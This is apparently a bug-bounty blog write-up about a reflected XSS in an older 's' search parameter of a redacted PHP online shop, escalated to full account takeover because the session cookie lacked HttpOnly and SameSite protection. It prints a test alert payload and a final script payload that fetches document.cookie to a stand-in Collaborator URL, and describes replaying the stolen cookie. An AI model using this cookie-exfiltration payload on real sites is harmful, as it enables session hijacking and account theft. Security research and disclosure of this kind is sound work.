Full Account Takeover (ATO) via Reflected XSS

In this article I want to explain how I found the XSS and How a poor cookie configuration let me escalate it into an ATO Step-by-Step with my own methodology. Hope you enjoy it and be useful for you.

The target

The target was an online shop. Let's assume it's redacted.com.

After signing up in program it generates a cookie named auth_session which its Samesiteflag and HTTPonlyflag was set to None both!

The application was written in PHP.

My methodology

My first approach on every program is this :

• Visit every corner of the web application after understanding the business logic (which for an online shop is usually straightforward)
• Capture all requests in Burp (it automatically logs every page or endpoint you visit)
• Perform a nice Google Dorking (Google and Bing)
• Extract data from wayback machines like archive.org and gau (parameters , paths , subdomains , file names) which I love this part :))
• Then If your target is not an SPA you can use katana(best practice)
• Extract all parameters from every page using fallparamstool written in go or GAPburp extension

And so more … (Fuzzing for paths , files , endpoints and parameter fuzzing with x8 tool)

If you do a good approach you can get very useful data.

How I found the XSS

after gathering some parameters and fuzzing with x8 plus manual testing I saw a parameter names s is reflecting on source code . other parameters reflected on page as well , but this one had no sanitizations or encodings. and guess where it came from? from archive.org output.

there was already a search parameter for searching on main page which is same like s parameter. but s was for older versions of program and somehow it was still running (probably developer forgot it).

So I could simply break and fix it and I tested this payload first:

"><script>alert(document.cookie)</script>

"><script>alert(document.cookie)</script>

and this happened:

Alert popped up and you can see both PHPSESSID and auth_session in the response easily. I could have report it for a medium severity XSS here. But I just needed auth_session and the flow was so simple:

• call cookies with alert function
• send them into a webhook like burps collabrator
• you can access victims account just by tricking them to open a URL

The Account Takeover

My final payload was this :

"><​script>fetch("<BURP_COLLABRATOR_URL>/?c="+document.cookie);<​/script>

"><​script>fetch("<BURP_COLLABRATOR_URL>/?c="+document.cookie);<​/script>

Collaborator response:

Then I created another account(attacker) and edited the auth_session and I entered into my first(victim) account.

EZ!!

This application was written in PHP. This shows although with the rise of AI models and the adoption of more secure application architectures , these kinds of bugs are still on the net and how simple mistakes can lead to major damages !!

thanks for reading.

please follow me on twitter and linkedin and see my other posts and writings:

https://x.com/Nikol1ai

https://www.linkedin.com/in/arash-gholipur/